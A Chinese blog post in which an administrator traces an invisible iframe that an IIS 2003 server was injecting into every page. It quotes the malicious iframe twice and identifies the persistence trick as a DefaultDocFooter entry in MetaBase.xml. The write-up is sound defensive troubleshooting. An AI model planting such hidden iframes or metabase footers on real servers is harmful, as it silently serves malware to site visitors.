2003服务器 查IIS 挂马全过程(ARP挂马)

原创 2011年01月12日 20:29:00

 

2003服务器 查IIS 挂马全过程

一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了 

《iframe src="http://xxxdfsfd/web.htm" height=0 width=0> 

这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒 

打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码 

分析原因

首先怀疑ARP挂马,用防ARP的工具又没有发现有arp欺骗

而且arp欺骗一般不会每次都被插入代码,而是时有时无

而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码

arp欺骗的可能排除。

然后就想到可能是JS被篡改,或者是其它的包含文件,查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码,那就只能是通过IIS挂上去的了。

备份iis数据然后重装iis,代码消失,将备份的iis恢复,问题又来了。


仔细寻找,问题应该出在IIS的配置文件上,打开配置文件,没有发现那段代码。

那很有可能是调用了某个文件,这个怎么查啊,忽然想起了大名鼎鼎的Filemon

本地载了一个上传到服务器上,打开Filemon,数据太多了,过滤掉一些没有用的

只留下iis的进程,数据还是很多,看来服务器上的站点还是挺多人在访问的。

关掉所有站点,建了一个测试站点anky 目录为D:/www/ 在下面建了一个空白页面test.htm 

访问一下这个页面代码被插进来了,再看一下Filemon 奇怪怎么读取C:/Inetpub/wwwroot/iisstart.htm

打开C:/Inetpub/wwwroot/iisstart.htm一看,里面就躺着

《iframe src="http://xxxdfsfd/web.htm" height=0 width=0> 

把代码删除了留空,访问test.htm 正常了,把C:/Inetpub/wwwroot/iisstart.htm删除了再访问

test.htm 出现 “读取数据页脚文件出错”问题就出这里了,看来是调用了

这个文件。


把C:/Inetpub/wwwroot/iisstart.htm清空就正常了,这样怎么行,解决问题当然要连根拔掉。

continue

有没有可能是扩展造成的,到扩展中检查了一遍全部都是正常的

当然 通过ISAPI 挂马的也是存在的

左想右想最后还是觉得配置文件有问题

打开配置文件,配置文件在%windir%/system32/inetsrv/MetaBase.xml

用记事本打开,查找iisstart.htm 找到一行,开始以为是默认站点,后来一想不对啊

默认站点都删除了,再仔细一看这句代码为

DefaultDocFooter="FILE:C:/Inetpub/wwwroot/iisstart.htm"

删除掉这一行,问题彻底解决了。

 

 

 

 

参考相关文章:新挂马方式流行 ARP挂马称雄局域网

版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

网站服务器被挂马的处理方案

本方案主要解决网站的 WEB服务器出现木马的情况后,操作指导手册。根据先期摸索处理的经验,整理此文档,若有不足,请指出补充。   前言:服务器木马的防范应以预防为主,加强软硬件防火墙管理。加强程序...

ARP欺骗挂马的教程

  • 2010-11-02 15:23
  • 3.34MB
  • 下载

Centos服务器被挂马的一次抓马经历

今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。 早上九点,机房负责人直接给我打来电...

MDecoder-挂马监测分析工具

  • 2016-02-01 16:16
  • 1.24MB
  • 下载

MSSQL数据库被插入JS/sql注入挂马的解决方法

MSSQL数据库被插入JS/sql注入挂马的解决方法黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql...

网站挂马扫描器

  • 2012-08-02 18:18
  • 1.23MB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)